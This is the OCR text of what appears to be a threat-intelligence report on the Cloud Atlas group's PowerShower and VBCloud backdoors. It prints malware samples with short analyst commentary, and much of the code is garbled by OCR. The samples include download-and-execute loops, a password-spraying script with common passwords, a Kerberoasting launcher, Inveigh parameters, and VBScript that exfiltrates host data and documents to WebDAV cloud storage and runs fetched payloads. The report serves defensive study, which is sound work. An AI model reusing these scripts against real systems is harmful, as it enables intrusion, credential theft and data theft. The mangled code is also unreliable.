$rh.SetRequestHeader("User—ngent", "Mozilla/5.8 (Windows NT 18.8; Win64%; x64; ru:130.0) Gecko/20200201 Firefox/131.8");
$rh.send{);
$sr = $rh_status;
if ($sr - ne 20@) {
$mite = (-join 317. .328 | Get - Random - Count 1) * 1;
sleep $mite;
H
¥ while ($sr - ne 200);
return $rh.responseBody;
H
do {

$rs = INXUUHS “https://- "
$bern = $rs[0];
if ($bern - eq 88) {
$Fiz = (gi $env: temp).fullname + “\Firefox.zip";
[io.file]::WriteAllBytes($fiz, $rs);
} else {
$rnd_F1 = [System.IU.Path]::GetRandumFileName();
$1mx = (gi $env: temp).fullname + "\\" + $rnd_f1;
[io.file]::WriteAllBytes($1nx, $rs);
$tent = Get - Content $1mx;
[xml1] $cod = $tent;
$mnd = UGQRTL($cod.Relationships.xs.annotation[—1.. - $cod.Relationships.xs.annotation.Length] - join "');
Invoke - Expression $mnd;
Remove - Item $1mx - force;
$t_p = (gi $env: temp).fullname + "\
sapp-xtx 3
if ([System.lu.File]::Exists($t_p)) {
$sr1 = BUHBEION “https: //) oot T e - - o ) B . Tt
H
H
sleep 1;
% while {($rs - ne 1)

Decoded PowerShower script
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The downloaded PowerShell scripts run in memory, without being saved to disk. Most of the scripts save their

output to sapp.xtx, which PowerShower then sends as a report to the C2.
The PowerShower scripts use the same C2 domains as VBShower.

PowerShower::Payload (1)

The script gets a list of local groups and their members on remote computers via Active Directory Service

Interfaces (ADSI). The script is most often used on domain controllers.

Stext_PC="TIEN";

Flist="";

$¢data=5text_PC —split ".';

$na_ll||-

$len=5data.lengths;

for{Snum = 0; Snum —le $len—1; Snum++>
4

Snamepc=%datalénuml;
list = $list + "PC_name " + Sdatalbnum]l + " o+t strrttititrrtiiiireet';
try
<

$cumputer = [ADSI 1'"WinMNT ://%namepc ,computer';

= Scom uter. shase children | where { 5_.pshase.schemaClassMame —eq ‘group” 35
fnreach <%h in

$list = $list + "Group """ + Sh.MHame + "':';

Sgroup = [ADSIIS_.pshase.Path; Sc $h pshase.Invoke{"Members'>;
foreach (5d in 5c?
<

fus = $d GetType(>. Inuukeﬂemher( Mame*, “GetProperty’, Snull, %d. %nulld;
$115t $113t + 3 $I.I.S " uu.

>
>
Eatch
$1list = %1ist + "ERROR";

3
[io.filel::WriteAllText{Senvtemp+"~sapp.xtx", 51listr;;:;

Sample script to get a local groups and members list, downloaded and executed by PowerShower
PowerShower::Payload (2)

Script for dictionary attacks on user accounts.

$1la="";
$pct="Admin12345adnin PEsswBrd 1qaz2wsx querty123 QazWsx12345@ newyear PEsswlrdi1 1PEssword quedsa 123 1234 123456 111111 1 1°
$td=$pct -split " *;
$nl= $td length;
$ut="ndninistrator G vsc- I O gy 1 - e N - -
$ud=$ut -split " *;
$lus=$ud.length;
for{$uns = B; $uns -le $lus-1; $uns++)
{
$una = %ud[$uns];
$1a = $1a + $una + "It o+ MM
for{$mn = B; $mn -le $nl1-1; $mn++)

$pns=$td[$mn];
$san = (new—ohject directoryseruices.directoryentry "",$una,$pns).pshase.name -ne $null;
$1a = §1a + $pns + " + §san + "M

¥
Yio.file]::WriteAllText($env:tmp+"ysapp.xtx", $1la);

Sample password bruteforcing script, downloaded and executed by PowerShower

PowerShower::Payload (3)
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The script unpacks the Firefox.zip archive previously downloaded by the PowerShower backdoor, and executes
the keb.ps1 script contained in the archive as a separate PowerShell process with a hidden window. The keb.ps1

script belongs to the popular PowerSploit framework for penetration testing and kicks off a Kerberoasting attack.

$ra = Senu:temp+"\Firefox.zip";
$11=New-0Object -com shell.application;
$e = $11.NameSpace($ra);

foreach{$tm in %e.items{})

{

$11.HameSpace($env:temp).copyhere{$tm,28) ;
S
sleep 3;

Remove-Item %ra -Force;
$sp=[wmiclass]"Win32_ProcessStartup”;
$sp.psbase._properties[”Showlindow"].Value=$false;
$cm="pouwershell -ep bypass -w 1 " + $enu:tmp + "\keb.ps1";
$rs=([wmiclass]"win32_process”).Create{$cm, c:",$5p);
sleep 4;

$insdf = type "C:\ProgramData\kerb-Hash@.txt";
[io.file]::WriteAllText($env:temp+\sapp.xtx", $insdf);;

Sample script that launches a Kerberoasting attack, downloaded and executed by PowerShower
PowerShower::Payload (4)

This script gets a list of administrator groups.

$rit33 = $null -ne (whoami /groups /fo csv | CGonvertFrom-Csu | Where-Object { $_.SID -eq “S-1-5-32-5u4" });
$ri = $rit33;[io.file]::WritenllText($env:temp+ \sapp.xtx", $ri);;;;:;

Sample script to get a list of administrator groups, downloaded and executed by PowerShower
PowerShower::Payload (5)

This script gets a list of domain controllers.

$las = nltest /dsgetdc:KGHFA;
[io.file]::WriteAllText($env:temp+"\sapp.xtx™, §lad);;;

Sample script to get a list of domain controllers, downloaded and executed by PowerShower

PowerShower::Payload (6)

This script gets information about files inside the ProgramData directory.

$dr="C:\ProgramDatay=";
$la=""";§tfs = Get-ChildItem -Path %dr -ErrorfAction SilentlyContinue -Force;
fForeach($tf in $tfs)

$la=$la+$tf . LastWriteTime+" "+$tf.LastAccessTime+™: "+3tf._FullHame+" - "+$tf.Length+"";
H
[io.file]::WriteAllText($env:temp+"\sapp.xtx", $la);;
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Sample script to get information about files inside the ProgramData directory, downloaded and executed by

PowerShower
PowerShower::Payload (7)

This script gets the account policy and password policy settings on the local computer.

$1a = net accounts;
[io.file]::WriteAllText{$env:temp+"\sapp.xtx", $la);;;

Sample script to get policy settings, downloaded and executed by PowerShower
PowerShower::Payload:: Inveigh

We also observed the use of PowerShell Inveigh, a machine-in-the-middle attack utility used in penetration
testing. Inveigh is used for data packet spoofing attacks, and collecting hashes and credentials both by intercepting

packets and by using protocol-specific sockets.

The Inveigh script is extracted from the ZIP archive downloaded by PowerShower and runs as described under

PowerShower::Payload (3).
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$Fib = "U1dXLUF1dGh1bnRpY2F82To=""

$1f = [System.Convert]::FromBase6uString{$fib)
$zpfl="C:\ProgramData\tempo.txt"
[io.file]:z:WriteAllBytes($zpfl,$1F)

function inv-inv

{

[CmdletBinding()]

param

(
[parameter(Mandatory=$false) ][Array]$ADIDNSHostsIgnore = (“isatap","wpad"),
[parameter(Handatory=$false)][Array]$kerberosHostHeader = ",
[parameter{Mandatory=$false)][Array]$Proxylgnore = “Firefox",
[parameter(Mandatory=$False)][nrray]sPcapTCP = ("139","445""),
[parameter {Handatory=5false) J[Array ]$PcaplDp =
[parameter(Mandatory=$False)][nrray]$SpooFerHostsReply = ",
[parameter(Handatory=$false)][Array]$SpooferHostsignore = ",
[parameter {Mandatory=$false) J[Array]$SpooferIPsReply =
[parameter(Mandatory=$False)][nrray]$8pooFerIPsIgnore = ",
[parameter(Mandatory=$false) ][Array ]$WPADDirectHosts = ",
[parameter{Mandatory=$false) J[Array]$WPADAUthIgnore = “Firefox",
[parameter(Mandatory=$False)][Int]$ConsoleuueueLimit = -1,
[parameter {Handatory=$false) J[Int]$ConsoleStatus = **,
[parameter(Mandatory=$False)][Int]$nDIDNSThresh01d = "B,
[parameter(Mandatory=5false) J[Int]$ADIDNSTTL = "688",
[parameter{Mandatory=$false) J[Int]$DNSTTL = “3@",
[parameter(Mandatory=$False)][Int]sHTTPPort = "§g@",
[parameter(Mandatory=5false) J[Int]SHTTPSPort = "443",
[parameter{Mandatory=$false) J[Int]$KerberosCount = 2",

[parameter{Handatory=§false)][ValidateSet{"y","
[parameter(Mandatory=$False)][UalidateSet("V',
[parameter {(Mandatory=5false)][ValidateSet("y", [String]$StatusOutput = “y-,
[parameter(Mandatory=$false)][ValidateSet{"y" ][String]$startupChecks = "N",

[parameter (Handatory= $False)][UalldateSet("?" "N, "Low™ "Medlum“)][Strlng]$consoleﬂutput = "N,
[parameter{Handatory= $False)][UalldateSet( "Auto™ ¥, "N )][Strlng]$Eleuated = "Auto",
[parameter(Mandatory=$False)][UalidateSet("nnonymous","Basic","NTLM","NTLMHOESS")][String]$HTTPnuth = "NTLH",
[parameter(Mandatury=$False)][UalidateSet("uU","uM")][nrray]stNSTypes @acguy,
[parameter(Mandatory=$false)][ValidateSet{" 08", 03", 20" ,"1B","1C","1D" 1E )][nrray]$NBNSTypes = @("ee","20"),
[parameter({Mandatory=$false)][ValidateSet(’ F119 s Memory )][Strlng]$Pcap
[parameter{Mandatory=$false)][ValidateSet("Basic","NTLH", "HTLHHOESS" )][Strlng]sPruxynuth = "NTLH",
[parameter(Mandatory=$false)][ValidateSet{"a","1","2" )][Strlng]$Tool = e

[parameter (Handatory= $False)][UalldateSet("ﬂnonymous" "Basic","NTLH" "HTLMHoESS")][Strlng]$WPﬂDﬂuth = "NTLH",
[parameter{Handatory= $False)][UalldateScrlpt({$_ Length -eq 6&})][Strlng]$KerherosHash
[parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileDutputDirectory = ™",

[parameter {(Mandatory=$false)][ValidateScript({Test-Path §_})][String]$HTTPDirectory = ",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.8.8.08",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = ",

‘N")][String]$SpooferNonprintable = v,
‘N*)][String]3SpooferRepeat = “y*,
"N ]
"HT)

[parameter {Mandatory=3$false)][ValidateScript{{$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "

[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "@.8.8.0",
[parameter {Handatory=$false)][ValidateScript{{$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = ",
[parameter{Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$uwPADIP = ",
[parameter(Mandatory=$false)][System.Hanagement.Automation . PSCredential]$ADIDNSCredential,
[parameter{Mandatory=$false) J[System.Management .Automation.PSCredential]$KerberosCredential,

[parameter (Mandatory=$false) J[Switch]$Inspect,

[parameter(ValueFromRemainingArguments=§true) ]$invalid_parameter

)

#tendregion
#iregion begin initialization
if{%invalid_parameter)

{
Write-Output “[-] $($inualid_parameter) is not a valid parameter™
throw

H

$inveigh_version = *1.5086"

iF(t31IP)

Sample Inveigh script, downloaded and executed by PowerShower

VBCloud

As described above, VBCloud is installed via VBShower. We found the following module installation paths.

C:\ProgramData\avp\avp_upd.vbs

C:\ProgramData\Adobe\AdobeLog.vbs
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C:\ProgramData\Adobe\manager.vbs
C:\ProgramData\Adobe\sysman.vbs
C:\ProgramData\Adobe\news_adobe.vbs
C:\ProgramData\Adobe\upgrade.vbs
C:\ProgramData\Edge\SrvMngrUpd.vbs
C:\ProgramData\Edge\intelog.vbs

C:\ProgramData\Chrome\ChromeSys.vbs

Sample VBCloud main module paths

The core functionality of the VBCloud module duplicates that of VBShower: both download and run PowerShell

scripts with a payload, and then send the output to the C2. Unlike VBShower, however, VBCloud uses public

cloud storage as the C2.

On Error Resume MNext

laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmw
laxioixcmu
laxioixcmu
laxioixcmw
laxioixcmu
laxioixcmu
laxioixcmw
laxioixcmu
laxioixcmu
laxioixcmuw
laxioixcmu
laxioixcmu
laxioixcmuw
laxioixcmu
laxioixcmu
laxioixcmuw
laxioixcmu
laxioixcmw
laxioixemuw
laxioixcmu
laxioixcmw

rhnyjnthyk
rhnyjnthyk
rhnyjnthyk
rhnyjnthyk
fuurarhjcm

"4C6D224470706A7123516676716866254F66 7E74050C5B657221 7061 6B72716B7F61716F263A22466C704F60696160702B736C63656 F736A60716320233C303B303537:
*3531353335353030363438323636373632353D35353234363130323431323B353830343E3F353636323B303936313A3536313F3137353135343A3B3B3131343532323R82
*30333B33363F3F3B393E3530343131333732373637304134363F3036343545343234303833313C3739334D323E373D3130323436403E4331383241334635453346363F:
3E3A3047354337483334373634333F42313F30393234333F354D333A313332303347323433323134354637413537364635473331333733323445364A313D3343344832:

= laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu
laxioixcmu

“686A6151636D7C612024483C333433363830372921 7A647E6367646B73777F2426232A4E697C60776B607723566076736F0A6476232E2A53716A7B7C526C7675647221 "
"2D28707560627563716D6 F?5040E7A6 76070756 F7B66726D2941667746564D5041 55626 F766024234B3D313336303836392C26 7268726 F6A6461 70727824202 72048677
“637C746F6B667A2725275873677E7B406061616462252425616B627675756 D756 D6109094C6722202B556471517879612B727265657D64736F60762D253837237F66 "

laxioixcmw & “4D766E6B2C26406E66262F626D647777726R726964233E25352C2A25556B636E283C286175677F707D6 0747664297261 7257706E717D20302F24707665627D67726C67
laxioixemu & "6C264B63090A76677262626E607762702338254175636577604E60626660712B6E6A6361656667646A702A29437E70656B604C6D?F6D716C6C6AGA6E8755376746E6864"
laxioixemu & “702A232752776C647162684064776424212F202E262A5C4F6F7D6065270C08416E6C24707E72 7565626 D786 F?EOENE?S 7F78746A636C736973253521497470647D"

laxioixemu & “28216B756E6B697C746B6776732B767F72262F25236860656 F606D6A706C68732F747B75202F2724677660726D6861606C6A682C737D7223290F0C66 75657577756 777

laxioixcmu
laxio ixcmu

"22D6C73606A2521 48404049 4C2A2A28226 EP5 7075 PA3F2E2DOEGEGC2A686B2CP568662E666A636A0626A277263686 E7D6027756071 27626 3732B666A646274276.46B61
42(}63672n717lI|6D2(}6'?26373564656IIIEmESZDGZBFGEzEZHZH21262461!69766B6376786E727E777327262D2lII64676E'?EE-E2F2223E36(}6B622D7III2D642RE €RaBRIncct

PEPPPPPPRPPRPPRPPRPPRPPR

rhnyjnthyk & 776FE6736566232III2432217265'?6'?'?63E-B'?lﬁ6'?IIIEIIIZ4342III77E774736B67756G?Gﬁ{zm202438253229637969606674'?162697729352IIIEE:'?BE-RBFGE-'?E'BE-E6E722III2324E
rhnyjmthuk & “A6GA6473646E6E7C76223D294B647C75203D206B6062786F7D65606E71283F25617360606F7479606371233A23567B6A736179702A5A6C6367712D3535352B253A20426F
rhnyjmthyk & "B'MBCG?GCIBCIDCQ??FGCGB?S?BBCZHGQG163?ﬂ68?0666?65?!32(:6F?163?66F6D6IDG3????2F23343EI343I33I3363ID3‘)383?3134343@3633343832343223252?4E?E?B65?125
rhnyjmthyk & “312D283833282931302E21343029253A29203728243D29283A2D28322928332820223639212C2465627E61676A7A666F77.

"//52RGwH?wBtRHI‘IHZQBxﬂHcﬂcQBGRDIBHTﬂBpHGﬂﬂRRByHGIHbgB5ﬂGuRhl}BlﬂnGgﬂeQBrﬂCwﬂMQRsHDERHﬂHuRCkHlRHSHCHHthrﬂGgﬂZHBlRGIBHhRB'iHGkHagHgﬂDIBRIFIRmClRIRHSHCRHZwB‘

AgAE4AZA)]

Set izychnllib =
Set wrjavucvcf

urjavucvck.

izychnllib.

izychnllib.
urjavucuck .
urjavucvct .
urjavucvct .
upjavucuck .

QATAAGACAARG] AGBA AN ‘QBtﬂGwReﬂHpﬂGoR
CreateObject ( Nlcrnsnft XI‘ILDON") createElement ("tmp
CreateObject ("ADODB.Strean">

type = 1 : urjavucvcf.Open

Data'l'ype = "hin.base64"

Text = Fuurarhjcm

Write izychnllib.NodeTypedUalue
Position = 0

type = 2

Pus1t10n =

Execute urjavucvcf. ReadText

Sample

VBCloud script

The VBCloud script does not contain any loops, and it is designed to execute only once. However, it gets triggered

by a scheduled task every time the user logs into the system, which means it will run frequently. We’ve also seen

variants of the backdoor that executed their core functionality in a loop with a thirty-minute delay between

repetitions. These variants ran the script once via the \Run registry branch when the system booted up for the first

time after being infected.
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On Error Resume Hext
Set ydbwpizfpk = GetObject(“winmgnts:{inpersonationlevel-inpersonate}?\\.\root\default :StdRegPr
ydbupizfpk.CetStringUalue VELSIDAN \Proglp®,
ydbupizFpk.CetStringUalue “ELSIDA 102-1 1e5)\\Proglp™,
Set XHLHTTP = CreateObject(Hsxnl2_ServerXHLHTTP)
ntjetdcrua = XHLHTTP.getOption(2) : XHLHTTP.setOption 2, ntjetdcrua
sawfoecuuz = “Software\Microsoft\Windous\CurrentUersion\"
ydbupizFpk. Entitvlngualnn £HBOUOUOW, sauFoecuuz & “Internet Settings”,”ProxyServer”, srédugtifu
& “Internet Settings","ProxyEnable”, dnguvphujg

1F ((Ilarlype(erﬂugtiFvJ <> ubHull} And (dnguvphujg = 133 Then

KHLHTTP.setProxy 2, srédugtify
End If
uouejkergy = CreateObject(Wscript_Shell).ExpandEnvironnentStrings(“%Programdata%™) & “\Intel”
Din scriptanes
scriptHanes = Arrap(“criclygnduv.txt”, “jhflenogelp.txt”, “avnuiabihik.txt")
KHLHTTP.open “HKCOL", “https://kim.nl.tab.digital/renote.php/dav/Files/ MESSSSSSSSEN. o%40gnail .con/knsubugjquut” , False, “EESSSSSSSSSE0GGNIil.con”, “
ntjetdcrva = XHLKTTP.getOption(2) : XHLHTTP.SetOption 2, ntjetdcrva : XHLHTTP.setRequestheader “Content-Type”, “application/s-wm-from-urlencoded” : :mumr send
KHLHTTP.open “HKCOL", “https://kin.nl.tab.digital/renote.php; Hognail.con/r Ffalse, “anna.s.a.da.rul.olgnail.con”,

-y

, Uscript_Shell
, Msxnl2_ServerXHLHTTP

ntjetdcrua - XHLHTTP.getOption(2) : XILHTTP.setOption 2, ntjetdcrva : XNLHTTP.setRequestHeader ~Content-Type", “application/s-wwsFron-urlencoded” : XHLHTTP.send -
iF Err.Number = -2147012880 Or Err.Number = -21h701289% O Err.Mumber = -Z1h781274k Or (XMLHTTP.Status <> 4OS and XMLHTTP.Status <> 201) Then
KHATIP .open “HKCOL”, “hitps://webdav.nydr ive.chy/knsobuqjquut™ , false, NI, I
ntjetdcrua = XHLHTTP. ge(uy(iun(Z) : XHLHTTP.setoption 2, ntjetdcrva : XMLHITP.setRequesthieader “Content-Type”, “application/x-ww-from-urlencoded” : XMLHTTP.send “
XHLHTTP .open “MKCOL“, “https://webdav.nydrive.ch/rugdnpaohxns” , false, ' - g
: KMLHTTP.setoption 2, ntjetdcrva : XHLHTTP.setRequestHeader “Content-Type”, “application/s-ww-fron-urlenceded” : XHLHTTP.send

ntjetdcroa = XHLHTTP. gmpmn(z:
Randonize

XWATIP.gpen “PUT", “hEtps://webdav.nydrive.ch/knsabugjquut/ e ln((nnn(l = 1000) & “Ltxt”, false, m— 3
KHLHTTP SetRequestiieader “Content-Type', : KHLHTTP Header * rol*, “no-cache, no-store” : XHLHTTP.Setheq R rol®, i g
KHLHTTP.Send int(Rnd() * 100000)
KHLHTTP.Open “GET", “Nttps://webdav.nydrive. \:n/ruqumiunxnsl\:rlclyqnnuu txt*, false, NN, -

2 KHLHTTR Header rol*, “no-cache, no-store” : XHLHTTP.Setheq roL* g

KHLHTTP SetRequestieader ~Content-Type',

KMLHTTP. Send

if KHLHTTP.Status = 208 Then
nbzrojeguu = KHLHTTP.Responselext

response = decrypt(mbzrojzguu)
KMLHTTP.Open “DELETE", “https://uebdav.mydrive.ch/rugdnpashxns/criclygnduy.txt”, false, “EESSS———, _ : XMLHTTP .SetRequestheader “Content-Type™, “application/x-www-from-urlencoded"
XHLHTTP.SetRequestHeader “Cache-Control”, “no-cache, no-store™ : XHLHTTP Header rol* ge-0" : XHLHTTP.Send
Execute(response)
End 1F

Else
for each rjséFiurlp in GetObject(“winagnts:\\.\rosticinu2“).ExecQuery(“Select * from Wind2_Networkndapter where physicaladapter-true”)

if not isnull(rjsfFiurlp.HACAddress) then

nbzrojeguu = mbzrojzguu & rjséFiurlp.MaGAddress & ¢ - * & rjséFiurlp.description & UbGr
End If
Hext
mbzrojzguu = mbzrojzguu & CreateObject(“Wscript.Network™).UserNane
randomize

KELryrstrw = now()
aFfoiyongw = RIGNE("O" & Day(KElryrstrw), 2) & RIGhE(“8" & MONER(KELryrstrw), 2) & RIGNE(“BO" & Year(KELryrstru), 2) & “_" & Right("8" & Hour(Ktlryrstrw), 2) & RigNt(“8" & Minute(ktlryrstrw), 2) & Right("8" & Second(KtLryrstru), 2)
din zkuukparey
kuukparey = Array(”.txt" - SPEFS, Lo, U.ppET, t.nds", “.png”, *.jpe
ernafllgbw - parey{Int({Ubounag ) ey e nnn()))
KHLHTTP .open “PUT", n(tps //Kim.RL.tab.digital/renote. php/dav/Files/ .o%n0gnail .con/knsobugjquut/” & ernaFllqbu, False,
ntjetdcrua-XMLHTIP.get0ption(2) : XMLHITP.SetOption 2, ntjetdcrua : XHLHITP.SetRequestheader “Content-Type", “application/-uw-Fron-urlencoded™
XHLHTTP SetRequestHeader “Cache-Control”, “max-age-" : XHLHTTP.Send mbzrojzguu
For Each scriptHame In scriptNames

XHLHTTP Open “GET", “https://kin.nl.tab.digital/renote.php/dav/Fi nognail . & scripthame, False, “EEE— _com,
ntjetdcrua-XMLHTTP getOption(2) : XHLWITP.SetOption 2, ntjetdcrua : XMLHTTP.SetRequestiieader “Content-Type”, “application/x-umi-From-urlencoded” : KMLHTTP SetRequestheader “Cache-Control®, “no-cache, no-store"
XHLHTTP SetRequestHeader “Cache-Control”, “max-age-8" : XHLHTTP.Send
iF KMLHTTP_Status = 200 Th
nbzrojzguu = XMLHTTP.Responselext : response = decrypt{mbzrojzguu)
XHLHTTP Open “DELETE", “https://kin.nl.tab.digital/renote.php/dav/fi oguBgRail. & scripthane, false, “EESSSSSSS oGqnail.con”, _
nt jetdcrua-XLHTTP . gefOption(2) : XMNITP SetOption 2, ntjetdcrua : SHLNTIP.SetRequestHeader "Content-Type”, “application/s uws from urlencoded™ : SHLHTTP SetRequestHeader "Cache-CONTPOL" , “no-cache, no-store™
XHLHTTP SetRequestHeader “Cache-Control”, “max-age-" : XHLHTTP.Send
Execute(response)
End If
uscript.Sleep(20008)
Hext
End If

1.com, -
: XMLHTTP.SetRequestHeader “Cache-Control”, “no-cache, no-store”

Function natrypt(mzrnjiguu)
Error Resume He
Fhukieuyfb = mﬂ(mlrnJlgouJnﬂ)
nnyadkupzl = 1
For dyuntzcinj = 181 To Len(nbzrojzguu) Step 2
if mnyadkupzl = len{fbukieuyfb) Then
nnyadkupzl = 1
end if
zqqlrifzhb = Mid{mbzrojzguu, dyuntzcinj, 2)
bnuksdckpk = Chr({“8H" & Mid{fbukieuyfb, mnyadkupzl, 1)) Xor (“&H" & zqqlrifzhb))
nnyadkupzl = mayadkupzl + 1
yqigdmyrbu = yqigdnyrbu + bavksdckpk
Hext
decrypt = yqigdmyrbu
End Function

Decrypted and deobfuscated VBCloud script

VBCloud does the following:

e Check the availability of the kim.nl.tab.digital WebDav server by sending an HTTP MKCOL request to
create the directories named “kmsobugjquut” and “rwgdmpaohxns” with the credentials hardcoded in the
script. If the server is unavailable, the script switches to the backup address “webdav.mydrive.ch”.

o If the WebDav server is available, create a file in the “kmsobugjquut” directory on that server via an HTTP
PUT The file name follows the pattern ddmmyy_HHMMSS, and the extension is randomly selected from
among TXT, RTF, DOC, PPT, MDS, PNG and JPEG. We have seen files named “070824_001919.txt” and
“250724_002919.doc”. Files like these contain the username and MAC addresses of network adapters,
effectively confirming that the script is active on the infected system.

e The Trojan then attempts to download one of three files from the “rwqdmpaohxns” directory:
“criclygnduv.txt”, “jhflenogelp.txt” or “avnwiabihik.txt”. If VBCloud successfully downloads the file, it
immediately deletes it from the cloud with an HTTP DELETE request, and then executes it in the current

process via the Execute() function after decrypting the contents. As in the case of PowerShower, the

payload can be made up of various scripts.
VBCloud::Payload (1)

This script is designed to send information about disks to the C2.

Page 16 of 22


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20150326/Cloud_Atlas_23.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/20150326/Cloud_Atlas_23.png

https://securelist.com /cloud-atlas-attacks-with-new-backdoor-vbcloud/115103/

On Error Resume Mext
set mddsxdzkjvjkh = CreateObject{" HSKML2.ServerXMLHTTP.6.0")
set jljiqsixduphc = GetObject{'winmgmts:{impersonationLevel=impersonate}?\\.\root\default:StdRegProv™)
eipxbudurzxes=nddsxzdzkjujkh.getOption(2)
mddsxdzkjujkh.setOption 2,eipxzbudwrzxes
jljiqsixduphc.GetStringUalue &H80060661, “SoftwareiHicrosoft\WindouwsiCurrentUersioniInternet Settings™," ProxyServer”, iogkuwjjhhyux
jljiqsixduphc.Get alue &HS 1, “Software\Microsoft\Windows\CurrentVersioniInternet Settings”,"ProxyEnable”, mtkvoylrrtdun
If ((VarType(iogkuwjjhhyux) <> vbMull) aAnd (mtkvoylrrtdun = 1)) Then
mddsxdzkjujkh.setProxy 2, iogkuwjjhhyux
End If
Set zjizsbobaqecw = GetObject{winmgmts:{impersonationLevel=inpersonate}?\\.\root\cimv2").ExecQuery{“Select * From Win32_Logicallisk")
wsyuxtlznfaqm = "
For Each hirpykdmquuoo in zjizshobagecw
usyuxtlznfaqm = wsyuxtlznfaqm & "DriveLetter: " & hirpykdmquuoo._Name & *;; " & "Description: " & hirpykdmquuoo.VolumeName & ";;
usyuxtlznfaqm = wsyuxtlznfagqm & "DriveType: " & hirpykdmquuoo.DriveType & ";; *
usyuxtlznfaqm = wsyuxtlznfaqm & “MediaType: " & hirpykdmquuoo.HediaType & ";; ™ & "Size: ™

wsyuxtlznfagm = wsyuxtlznfagm & Int{hirpykdmquuoo.Size / 1073741824) & “Gb" & “;;
usyuxtlznfagm wsyuxtlznfaqm & “FreeSpace: * & Int{hirpykdnquuoo.FreeSpace / 1873741824) & "Gb" & UbCr
Hext
mddsxdzkjujkh.Open “PUT™, “https://kim.nl.tab.digital/remote._php/dav/files/ NS 0°;40gnail .con/knsobuqjquut/” & "giark_12931.drv", false, ™
mddsxdzkjvjkh.SetRequestHeader “Content-Type™, "application/x-wuw-from-urlencoded"
mddsxdzkjujkh._Send wsyuxtlznfagm

VBCloud::Payload (2)

This script is designed to exfiltrate files and documents. It iterates through local drives and removable media in
search of files with the extensions DOC, DOCX, XLS, XLSX, PDF, TXT, RTF and RAR. The script checks the
size of any files it finds to match this condition and collects those between 1000 and 3,000,000 bytes to exfiltrate.
The files must have been modified no more than 72 hours before the current date. The script then copies matching
files to a ZIP archive it creates, named “mapping.zip”. It also adds a file with metadata such as the created time,
modified time, last opened time, and full path to the file. Upon exceeding 4,000,000 bytes, an archive is uploaded
to cloud storage and deleted from the system. It is replaced with a new one, and the file harvesting process
continues. The archive is uploaded in RC4-encrypted form, with a name that follows the template “%d_13134”
and one of the following extensions chosen at random: MP3, AAC, MP2, FLAC, WAV, ALAC, MQA, OGG,
DSD, WMA, and MP4.
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mapping_zip = “mapping.zip"

bhlghhxgg 13134

kuceahok

pchs ray(t'doc', "docx", "x1s", Mxlsx!, Mpdf ", Vext, etf !, Yrar

o

qjle = fr
ugumll;t%x npes VHKCOL". " "hteps://kin.nl.tab. digital/venote. php/dau/hles/—n/qmgmau com/" & "kmsobugjquuts" . false. m————cfgynail-con”. NG
vdumbt
ProcessDiskBuDriveType<3)
ProcessDiskBuDriveType(2)
Fum:tlnn deleteZIPnbuff (3

S .FileExists(ProgranData_path & "buff"> Then

| Ee.DelecePilePragranData path & "huft ">

If FS FlleExlsts(Pl"ngramDatﬂJath & mapping_zip> Then
FS DeleteFile(ProgramData_path & mapping_zip>

End Punct ion
Function znpdrktn<}
Lt Fg.CotFilo(Prograndata path & mapping zip>.Size > 4000000 Thon
aveStreanToZI PO
End If
End Function
Function CopyFileToZIP<icmaoauf)
On Error HNext

esune

kuceahok = kvceahok + 1

dolulndx g vdv, icmaoauf . YR R -, .o v i R

ucsinlix 1cmemawf DateLastModified> & icmacawf . DateLastHndlfled) & icmaoawf .DateLastModified) & & DatePart(

kcouxuga £ mnaoawf .DateLastAccessed) & < icmacawf .DateLastAccessed)> & atePart ("yy: icmaoawf .DateLastAccessed)> & & DatePart(
i kuceahok & ulﬂ:ah & delwlmdx & ubtab & ucsimljx & uvhtah & kcnuxuqa & ubtab & Replace{icmasauf .path, "\", "\'"2 & UbCr

cgqenxiu

stream.UriteText cggemxiv

sgdkiodu - ProgramData_path & kvceabok

If F8.FileExists<sgdkiodu> Then
F§.DeleteFile(sdkiodu?

End If

Uscript.Sleep(20003

FS.CopyFile icnacauf .path, sgdkiodu

AddFileToZIP sgdkiodu, ProgramData_path & mapping_zip

Vscript .8 leep<2000)

F$.DeleteFile{sgdkiodud

Function SendEncryptedZip<y
rror Resume Next
Randonize
Din cpbdlysd
lgsd

L Uauaut, ".alac”, . nga”, v .ogg", V. dsd ", Yauma . T.mpd)
v 31347 & cpbdlgsdCint<(ibound¢cpbdigsd> "+ 15 = Rnd¢>>>
vdunmbt1x.Open “PUTY.
vdvnbtLx_setRequostigador “Content-Type”. ‘application/x-uuu-from-urlencoded”
adPilecPrograndata_path & napping 2ipd

1i dscodyn™>

Ca
¥ ifdagtn - Creat:OhJect("adndh Strean™>
“apen
tupe = 2
-charset = “windous-1251"
uritetext asql

gtn.ty

St 8788 Jesazgen. vead
Uscript.§leep(3000)
do IoteZi PbufF O

End Functio

Function ReadFile<ypdrsLind

tptioygx =
set dbuagnet = PS_GetFileCypjrslim)
set_slrqjuhy = dbuagnrt.OpenfisTextStrean<l, —2
hile not s lrgjuhy -AtEndOFStraan

tptioygx = totiovgx & slrqjuhv.read(25000>

en.
slrgjuhu.Close(>
ReadFile = tptioygx
end function
Function SaveStreanToZIP<>
rror Resume Next
stream.SaveloFile(ProgramData_path & "buff">
AddFileToZIP ProgramData_path & "huff'", ProgramData_path & mapping_zip
WSeript.§leepd2000)
1t FE FileExistsCPrograndata_path & "buff > then
§.DeleteFile(Progranbata_path & “buff”

Senakncryptedzine>
WScript .5 leep3000>
strean.Close
strean.Open
End Function
Function ProcessFolderNSubPoldersCuriymphh
rror Resume
Set mgmeuyuw = FS GetFnlder(ur1ymphh)
